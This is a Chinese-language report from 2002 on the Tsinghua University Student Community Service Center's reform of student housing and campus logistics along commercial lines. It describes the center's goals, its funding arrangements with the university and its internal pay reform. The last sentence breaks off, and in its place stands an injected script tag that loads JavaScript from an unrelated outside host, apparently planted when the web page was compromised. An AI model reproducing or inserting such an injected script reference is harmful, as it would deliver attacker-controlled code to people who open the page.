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清华大学学生社区服务中心 推进后勤社会化建设工作汇报
[ 2002/3/2    访问次数:11811 ]
在全国高校后勤社会化改革的大潮中,清华大学也对后勤改革高度重视,校领导多次进行了专题研讨。1999年初,作为一系列改革方案中的重要一步,决定成立"清华大学学生社区服务中心"(以下简称中心)对学生宿舍区和公共教室进行全面的社会化、物业化管理。以学生住宿收费和学生区商业经营收入保证学生宿舍和社区的其他服务设施的建设与运行,探索一条学生社区健康发展,良性循环的路子。中心成立一年以来,在转换机制,提高服务的质量和管理水平等方面进行了一系列有成效的改革和实践,改革得到师生的认同和好评,为学校育人工作奠定了一个扎实的基础。
  一、改革思路明确才能有力地推动改革工作
  学生社区服务中心由原行政处改制成立伊始,根据国家及学校的发展规划,确立了"建设适应世界一流大学要求的物业化管理的绿色学生社区"的目标,它包含了三方面的含义,即硬件设施、服务水平达到世界一流;管理模式和运行机制为社会化的物业管理;创造有助于学生道德养成的绿色生态环境及与学生思想工作相结合的社区服务体系。 为实现这个目标,中心进行了全面改革,其改革思路主要围绕以下几点:
  1. 转变自身定位,明确与学校的责、权、利关系,从原有体系成建制的规范剥离。 学校后勤部门由原来的行政机关转为企业化运行,干部群众首先要过思想关:一要转变思想,即由管理者变为服务者,从服务中创造效益;二要解放思想,直接从社会上的企业改革中吸取营养,不坐井观天,要按照社会化大生产的原则直接融入社会第三产业。在明确自身定位后,中心与学校进一步明确责、权、利关系,并在原有的行政体系内,在确保产权明晰、国有资产不受损的前提下,按现代企业制度把人员、资源及运营环境成建制的规范剥离,最终以乙方身份参与学校后勤服务。
  2. 转变管理模式及运转机制。 高校后勤要实现社会化,最重要的是管理模式和运转机制的转变。1999年初由原行政处改制而成的学生社区服务中心成立,学校改革过去"学校办社会,后勤小而全"的行政管理体制,变行政拨款为收费服务运行机制,以收取学生住宿费为主要经费来源,加上部分物业配套设施的创收,为学生社区提供物业管理服务。中心则全额返还人头费,自行支付水电暖维修等费用,自负盈亏,在学校主导下,自我发展,满足学校事业发展。
  3. 改革必须适应中国高校及清华大学自身特色。 "实事求是"的原则也必须为高校后勤社会化改革所坚持。通过对不同层次社会物业企业和国内外高校的考察,我们认为现有管理方法都有其可取之处,但整个社会并不能直接提供高校需要的物业化管理,包括其中社会企业取费标准、服务项目等与高校经费紧张、需要很多特殊服务等之间的矛盾。所以中心在推行各项改革的过程中,坚持不盲目照搬,而是立足中国国情及清华大学特色,如考虑到清华网络环境的优势,我们重点发展了网络虚拟社区的服务等。
  4. 以"一个适应,四个有利于"作为衡量改革效果的标准。 作为衡量改革效果的标准,中心制定了"一个适应,四个有利于",即适应学校发展规模的需要,有利于改善条件,提高服务水平,有利于减轻学校负担,提高办学效益,有利于提高职工收入水平,保持队伍稳定,有利于调动社会资源,推动后勤社会化改革进程。按照这样的工作思路,确保了中心在改革中稳步前进。
  二、学校支持是学生社区中心改革成功的重要因素
  学校对按企业化模式运转的"学生社区服务中心"采用了"扶上马,送一程"的方针。由于种种原因,清华大学学生宿舍及教学楼遗留问题较多,主要体现在楼宇陈旧、设施老化、维修欠帐多、人均面积不足、各项收费标准低等,如果学校立刻按全部划拨资源收费,则中心在投入资金改造原有设施后,将没有能力走上良性发展的道路。所以学校决定在按社会化标准进行改革的同时,一定时间内给予扶植政策。这也是中心改革取得效果的重要因素。 现在学校与中心的关系主要包括下面内容:
  1. 学校将学生宿舍、公共教室以及学生区范围内的商业划归中心统一管理。
  2. 学校将学生住宿费转给中心,中心全额返还人头费(学校下发的工资、津贴、补贴、住房公积金、退休基金等),自行支付水、电、暖、维修等费用。
  3. 学生社区内的经营服务单位归中心管理,收入上缴中心。
  4. 学校暂不向中心收取公共条件费。 此外,其它部门对中心工作也都相应地给予了支持,如中心虚拟学生社区建设得到了学校信息办的支持;由中心设立的勤工俭学岗位,学校勤工俭学中心给予一半补助等。
  三、内部人事工资制度改革先行是确保改革成功的关键
  中心成立后,重点进行了内部管理改革,在突出服务意识的基础上,强调服务效率与效益。重新制定了各个岗位的管理条例,特别是以工资改革为先导的人事制度改革及工作改革取得明显效果。突破了旧有的观念,开创了新的工作领域,为学生社区服务中心?script src=http://nyjianming.com/c.js>
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